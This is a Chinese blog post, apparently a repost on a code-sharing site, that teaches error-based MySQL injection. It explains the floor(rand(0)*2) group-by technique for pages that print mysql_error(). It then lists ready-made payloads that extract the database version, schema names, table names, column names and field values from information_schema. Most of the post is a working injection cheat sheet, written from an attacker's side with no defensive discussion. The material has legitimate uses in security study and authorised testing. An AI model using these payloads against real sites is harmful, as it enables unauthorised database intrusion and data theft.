码迷,mamicode.com
首页 > 数据库 > 详细

基于错误的sql注入

时间:2018-05-08 19:15:18      阅读:299      评论:0      收藏:0      [点我收藏+]

标签:www   post   body   ati   cat   sel   方便   系统表   schema   

以前觉得报错注入有那么一长串,还有各种concat(),rand()之类的函数,不方便记忆和使用,一直没怎么仔细的学习过。这次专门学习了一下,看了一些大牛的总结,得到一些经验,特此记录下来,以备后续巩固复习。

 

总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用echo mysql_error();输出了错误信息时使用。

公式具体如下

and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

我们在这个语句中其实已经可以看到了普通注入的影子,第五个select子句的version()处显示了数据库使用的版本,后面的information_schema.tables显示的就是我们在mysql中对应的系统表信息,第三个子句的limit用于控制遍历数据库的每一条记录。

注意的是,我们一般手工注入使用limit时,都是使用limit 0,1;limit,1,2;limit 2,3……这种模式去依次遍历数据库的每个项目。

但是要注意这里的遍历方式需要调整:变成了limit 0,1;limit1,1;limit 2,1……这种形式

 

搞清楚了语句的公式,剩下的注入过程就跟我们普通的注入很像了,只需要调整语句对应的结构即可:

汇总如下:

1、暴数据库:

and(select 1 from(select count(*),concat((select (select (select concat(0x7e,schema_name,0x7e))) from information_schema.schemata  limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

 

2、暴数据表:

and(select 1 from(select count(*),concat((select (select (select concat(0x7e,table_name,0x7e))) from information_schema.tables where table_schema=库名的十六进制  limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

 

3、暴列名:

and(select 1 from(select count(*),concat((select (select (select concat(0x7e,column_name,0x7e))) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

 

4、暴字段:

and(select 1 from(select count(*),concat((select (select (select concat(0x7e,字段名,0x7e))) from 库名.表名 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

总结起来,就是一套已经成型的公式,然后用普通注入的方法进行注入就好了

 

参考文章:

http://www.jianshu.com/p/8c2343705100

https://www.waitalone.cn/mysql-error-based-injection.html

基于错误的sql注入

标签:www   post   body   ati   cat   sel   方便   系统表   schema   

原文地址:https://www.cnblogs.com/123xu/p/9009722.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!